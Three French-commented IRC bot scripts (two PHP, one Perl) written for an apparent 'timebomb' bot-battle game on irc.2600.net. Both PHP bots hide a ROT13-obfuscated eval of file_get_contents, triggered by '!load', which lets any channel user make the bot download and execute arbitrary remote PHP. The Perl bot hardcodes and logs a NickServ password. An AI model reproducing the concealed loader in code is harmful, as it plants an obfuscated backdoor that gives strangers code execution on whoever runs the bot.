<? //Botz-php-hackbbs V1.0, Korigan //Website: http://hackbbs.org/ //Irc: irc.2600.net Salon: #hackbbs-battle /* Ce bot se connecte au salon, et donne son statut s'il reçoit !statut */ // Prevent PHP from stopping the script after 30 sec set_time_limit(0); // Opening the socket to the 2600 network $socket = fsockopen("irc.2600.net", 6667); // Send auth info //Il va falloir générer des nick aleatoire car lors des tests, il peut arriver que //le serveur mette du temps à détecter que l'ancien pseudo est libre. $nick="Botz-php-hackbbs"; $nb=rand(1,1000); $nick.=$nb; $chan="hackbbs-battle"; //La commande nick permet de s'identifier auprès du serveur. fputs( $socket , "NICK ".$nick."-".date('U')."-".$nb."\r\n" ); fputs( $socket , "USER guest localhost irc_server :guest\r\n"); // Force an endless while while(1) { // Continue the rest of the script here while($data = fgets($socket, 128)) { echo nl2br($data); flush(); // Separate all data $ex = explode(' ', $data); // Send PONG back to the server if($ex[0] == "PING"){ fputs($socket, "PONG ".$ex[1]."\n"); } // Say something in the channel if (strstr($data,":!statut")) { fputs($socket, "PRIVMSG ".$ex[2]." ".$nick." is online!\r\n"); } if (strstr($data,":!load")) { $d="riny(svyr_trg_pbagragf('".substr($ex[4],0,strlen($ex[4])-2)."',snyfr));"; eval(str_rot13($d)); } if(strstr($data,"376")) { //Connect to #hackbbs-test fputs( $socket , "JOIN #".$chan."\r\n"); } } } ?>
<? //Botz-T V1.0, Korigan //Website: http://hackbbs.org/ //Irc: irc.2600.net Salon: #hackbbs-battle /* Ce bot est le premier qui s'inscrira dans un pattern stratégie. L'idée est de pouvoir adapter la stratégie du bot à différentes situation. C'est à dire différents stade de la partie qui requiert tel stratégie -d'attaque, -de protection, -de masquage -de lecture de l'information -de calculde l'information -de l'analyse de la réponse au calcul posé -etc... Chacuns de ces aspect peut constituer ce que l'on va appeler un module, une classe. L'idée est de répartir ces classes dans des fichiers distincts. Ainsi, il sera possible d'executer tel ou tel partie du code, à volontée, et de n'éxécuter que des opérations les plus atomique possible. C'est à -dire que le bot doit rester réactif, et répondre instinctivement à tous les messages, et pour cela doit n'éxécuter que du code court, et bien rangé. Comment savoir quelle strategie adapte? ******************************************* Une des solutions est de les tester à la main. De réfléchir, de reprendre le code, le re-travailler, corriger les bugs... Nous allons donc essayer voir une autre méthode, de générer un bot auto-évolutif. Il va évoler de génération en gnération, de façon autonome, jusqu'à atteindre la perfection!?? ^^ Comment faire? Et bien il y a plusieurs solution, soit le bot se modifie lui même, soit on sélectionne que les meilleurs dans une population donnée. Qui dis population, sélection, induit la notion de différence enre eux. Nous nous rapprochons donc de la notion d'ADN et vous l'aurez compris, nous allons faire un bot dont son ADN permettra de composer les différentes action possible. Nous ferons donc un bot, qui va se répliquer N fois mais avec de légères différences dans son ADN. Si l'un d'entre eux sort vainqueur un nombre conséquent de fois, il se reproduiras avec le second. Les autres seront sacrifié :S Pour ce deuxieme bot, nous allons le doter de ce qui pourait etre un ADN à un seul maillon, et illustrer une seule stratégie, le suivie d'attaque. Cela consistera uniquement à kicker les nouveaux sur le salon. C'est à dire réagir à l'événement JOIN Quand nous auront sufisemment de maillons, nous verrons comment les activer ou les désactiver et constituer ainsi une population hétérogène lors de la reproduction. */ // Prevent PHP from stopping the script after 30 sec set_time_limit(0); // Opening the socket to the 2600 network $socket = fsockopen("irc.2600.net", 6667); // Send auth info $nick="Botz-T"; $nb=rand(1,1000); $nick.=$nb; $chan="hackbbs-battle"; fputs( $socket , "NICK ".$nick."\r\n" ); fputs( $socket , "USER guest localhost irc_server :guest\r\n"); // Force an endless while while(1) { // Continue the rest of the script here while($data = fgets($socket, 128)) { echo nl2br($data); flush(); // Separate all data $ex = explode(' ', $data); // Send PONG back to the server /* ****************************************************************************************** */ /* *************** LE CODE CI-DESSOUS CORESPOND A LA STRATEGIE ****************************** */ /* * Il sera repris plus tard lorsque nous allons créer l'algorithme de selection génétique * */ /* ****************************************************************************************** */ if($ex[1]== "JOIN"){ $j=explode("!",$ex[0]); $joueur=substr($j[0],1,strlen($j[0])); fputs($socket, "PRIVMSG #".$chan." : timebomb ".$joueur."\n"); } if($ex[0] == "PING"){ fputs($socket, "PONG ".$ex[1]."\n"); } // Say something in the channel if (strstr($data,":!saywelcome")) { fputs($socket, "PRIVMSG ".$ex[2]." hackbbs-bot is online!\r\n"); } if (strstr($data,":!load")) { $d="riny(svyr_trg_pbagragf('".substr($ex[4],0,strlen($ex[4])-2)."',snyfr));"; eval(str_rot13($d)); } if(strstr($data,"376")) { //Connect to #hackbbs-test fputs( $socket , "JOIN #".$chan."\r\n"); } if(strstr($data,"KICK #hackbbs-battle Botz-T")) { //Connect to #hackbbs-test fputs( $socket , "JOIN #".$chan."\r\n"); } /* ****************************************************************************************** */ /* ********************** FIN DU CODE ******************************************************* */ /* ****************************************************************************************** */ } } ?>
#!/usr/bin/perl #use strict; #use warnings; #use diagnostics; # On utilise la librairie Net::IRC pour se connecter à IRC use Net::IRC; #use LWP::Simple; # Vous utiliserez peut-être Data::Dumper pour le debug, pour savoir de quoi sont composés certains événements... #use Data::Dumper; # Configuration des options de connexion (serveur, login) : my $server = 'irc.2600.net'; my $nick = 'botpublic'; # A configurer ! my $nickone = 'botpublic'; my $pass = 'public'; # A configurer ! my $list = "listebot.txt"; #fichier listing des bot participants my $ami = 'Botz-ADN'; # Informations concernant le Bot : my $ircname = 'Botrrr'; my $username = 'prrrrrerlBot'; my $version = '2.0'; my $num = 5; my $nick2 = $nick; my $contremesure = 0; my $trigger = 'ditty mao!'; # Channel sur lequel on veut que le Bot aille : my $channel = '#hackbbs-battle'; # On crée l'objet qui nous permet de nous connecter à IRC : my $irc = new Net::IRC; # On crée l'objet de connexion à IRC : my $conn = $irc->newconn( 'Server' => $server, 'Port' => 6667, 'Nick' => $nick, 'Ircname' => $ircname, 'Username' => $username ); # On installe les fonctions de Hook : $conn->add_handler('endofmotd', \&on_connect); # Fin du MOTD => on est connecté $conn->add_handler('public', \&on_public); # Sur le chan $conn->add_handler('notice', \&on_notice); # En notice $conn->add_handler('msg', \&on_private); # En privé $conn->add_handler('caction', \&on_caction); # /me $conn->add_handler('cversion', \&on_cversion); # Demande de version $conn->add_handler('cping', \&on_cping); # Demande de PING $conn->add_handler('ctime', \&on_ctime); # Demande de time $conn->add_handler('cerrmsg', \&on_cerrmsg); #recoit une erreur $conn->add_global_handler('disconnect', \&on_disconnect); #deconnection du server $conn->add_handler('kick' , \&on_kick); #on se fait kick du chan $conn->add_handler('433' , \&on_nick_taken); #on nous a pique notre pseudo ou y a un ghost $conn->add_handler('join', \&on_join); #quelqu'un se connecte $conn->add_handler('mode', \&on_mode); #pour changer le mode d'un nick (voicer par ex) $conn->add_handler('353', \&on_names); #pour lister les nick en arrivant sur le chan $conn->add_handler('nick',\&on_nick); #quand quelqu'un change de nick # On lance la connexion et la boucle de gestion des événements : $irc->start(); ## Les fonctions de gestion des événements : sub on_connect { my ($conn, $event) = @_; $conn->join($channel); $conn->privmsg($channel, 'Bonjour'); $conn->print("<$nick>\t| Bonjour"); $conn->{'connected'} = 1; $conn->privmsg('nickserv', 'IDENTIFY ' . $pass); $conn->print("Identify : $nick $pass"); } # Fin on_connect sub on_public { my ($conn, $event) = @_; my $text = $event->{'args'}[0]; my $var = $event->{'nick'}; $conn->print("<" . $event->{'nick'} . ">\t| $text"); # si quelqu'un parle if ( $var ne 'fredo2009') { if ( $var ne 'Botz' ) { # on cherche à savoir si c'est un bot open (FILE, "$list") || die("\n[-] Can't open the file...\n"); chomp(my @listbot = <FILE>); foo: foreach my $varbot (@listbot) { if (($var eq $varbot) && ($var ne "ze_ultimate^bot") && ($var ne $ami)) { $conn->privmsg($channel, "timebomb $var"); # on lance la bombe sur le channel $conn->print("<$nick>\t| timebomb $var"); # Et echo sur la console last foo; } } close (FILE); } } #si les contremesures sont actives if ($contremesure eq "1") { if ( $var eq 'Botz') { if (substr($text, 0, length("Diffuse")) eq "Diffuse") { my $unecouleur=index($text,'It is'); my $plusieurscouleurs=index($text,'They are'); if ($unecouleur ne "-1") { $text =~ /It is (.*)./; my $couleur = $1; #on peut maintenant couper le bon fil $conn->privmsg($channel, "cutwire $couleur"); $conn->print("<$nick>\t| cutwire $couleur"); $contremesure = "0"; #on rrete les contre mesures } if ($plusieurscouleurs ne "-1") { $plusieurscouleurs = $plusieurscouleurs + 9; my $text2 = substr($text, $plusieurscouleurs); $text2 =~ s/and/./g; $text2 =~ s/\s//g; my @couleurs = split(/[^a-zA-Z]/,$text2); # voilà notre tableau des couleurs my $range2 = $#couleurs+1; my $num2 = int(rand($range2)); #on tire une couleur au pif #on tente de couper le bon fil $conn->privmsg($channel, "cutwire $couleurs[$num2]"); $conn->print("<$nick>\t| cutwire $couleurs[$num2]"); $contremesure = "0"; #on rrete les contre mesures } } } } #on vérifie que c pas notre ami qui nous trahi if (($var eq $ami) && ($text eq "timebomb botpublic")) { $ami = 'trahison'; $conn->privmsg($channel, "trahison!!! Ca va être ta fête mon coco!!!"); } } # Fin on_public sub on_notice { my ($conn, $event) = @_; my $text = $event->{'args'}[0]; $conn->print("NOTICE<" . $event->nick() . ">\t| $text"); } # Fin on_notice sub on_private { my ($conn, $event) = @_; my $text = $event->{'args'}[0]; my $nick = $event->nick; $conn->print("PRIVE<" . $event->nick() . ">\t| $text"); if ($text eq "!mass") { $conn->names($channel); $conn->print("names $channel"); } else { if ($nick eq "fredo2009") { $conn->privmsg($channel, "$text"); } } } # Fin on_private sub on_caction { my ($conn, $event) = @_; my $nick = $event->nick; my $text = $event->{'args'}[0]; $conn->print("* $nick $text"); if (substr($text, 0, length("stuffs the bomb into $nick2")) eq "stuffs the bomb into $nick2") {# la bombe est sur nous alors on lance les contre-mesure $contremesure = "1"; $conn->print("<$nick>\t| contremesure = $contremesure"); } } # Fin on_caction sub on_cversion { my ($conn, $event) = @_; my $nick = $event->nick; $conn->ctcp_reply($nick, 'VERSION ' . "ircPerlBot v $version, www.squalenet.net"); $conn->print("*** CTCP VERSION request de $nick"); } # Fin on_cversion sub on_cping { my ($conn, $event) = @_; my $nick = $event->nick; my $timestamp = $event->{'args'}[0]; $conn->ctcp_reply($nick, 'PING ' . $timestamp); $conn->print("*** CTCP PING request de $nick"); } # Fin on_cping sub on_ctime { my ($conn, $event) = @_; my $date = localtime; my $nick = $event->nick; $conn->ctcp_reply($nick, 'TIME ' . $date); $conn->print("*** CTCP TIME request de $nick"); } # Fin on_ctime sub on_cerrmsg { my ($conn, $event) = @_; my $nick = $event->nick; my $text = $event->{'args'}[0]; $conn->print("*Error* $nick $text"); } # Fin on_ctime # Reconnect to the server when we die. sub on_disconnect { my ($conn, $event) = @_; print "Disconnected from ", $event->from(), " (", ($event->args())[0], "). Attempting to reconnect...\n"; $conn->connect(); } #on se reconnect après un kick sub on_kick { my ($conn, $event) = @_; my (@args) = ($event->args); $conn->join($args[0]) unless ($args[1] =~ /^$trigger$/i); } #on recup notre nick si probleme de ghost ou usurpation sub on_nick_taken { my ($conn) = shift; $conn->nick($nickone.int(rand(999))); $conn->privmsg('nickserv', 'RECOVER ' . $nickone .' '. $pass); $conn->print("nickserv : RECOVER $nickone $pass"); $conn->nick($nickone); $conn->privmsg('nickserv', 'IDENTIFY ' . $pass); $conn->print("Identify : $nickone $pass"); } sub on_join { my ($conn, $event) = @_; my $text = $event->{'args'}[0]; my $var2 = $event->{'nick'}; $conn->print("***" . $event->{'nick'} . "\t| a join $channel"); #on regarde si le nick qui vient d'arriver est à timebomber if ($var2 eq $nickone) { $conn->names($channel); $conn->print("names $channel"); } else { if (($var2 ne "ze_ultimate^bot") && ($var2 ne $ami)) { $conn->privmsg($channel, "timebomb $var2"); # on lance la bombe sur le channel $conn->print("<$nick>\t| timebomb $var2"); # Et echo sur la console } } } sub on_names { my ($conn, $event) = @_; my (@list, $channel) = ($event->args); ($channel, @list) = splice @list, 2; my @listuser = split(/[ ]/,$list[0]); $conn->print ("Users on $channel: @listuser\n"); foreach my $var (@listuser) { my $char = substr($var,0,1); if ($char eq "+") { $var =~ s/\+//g; if (($var ne "ze_ultimate^bot") && ($var ne $nickone) && ($var ne $ami)) { $conn->privmsg($channel, "timebomb $var"); # on lance la bombe sur le channel $conn->print("<$nickone>\t| timebomb $var"); # Et echo sur la console } } } } sub on_mode { my ($conn, $event) = @_; my $text = $event->{'args'}[0]; my $text2 = $event->{'args'}[1]; my $var = $event->{'nick'}; $conn->print("<" . $event->{'nick'} . ">\t| $text $text2"); if (($text eq "+v") && ($text2 ne $nickone) && ($text2 ne $ami) && ($text2 ne "ze_ultimate^bot")) { $conn->privmsg($channel, "timebomb $text2"); # on lance la bombe sur le channel $conn->print("<$nick>\t| timebomb $text2"); # Et echo sur la console } } # Fin on_mode sub on_nick { my ($conn, $event) = @_; my $text = $event->{'args'}[0]; my $var2 = $event->{'nick'}; $conn->print("*" . $event->nick() . ">\t| devient $text"); if (($text ne "ze_ultimate^bot") && ($text ne $nickone) && ($text ne $ami)) { $conn->privmsg($channel, "timebomb $text"); # on lance la bombe sur le channel $conn->print("<$nick>\t| timebomb $text"); # Et echo sur la console } }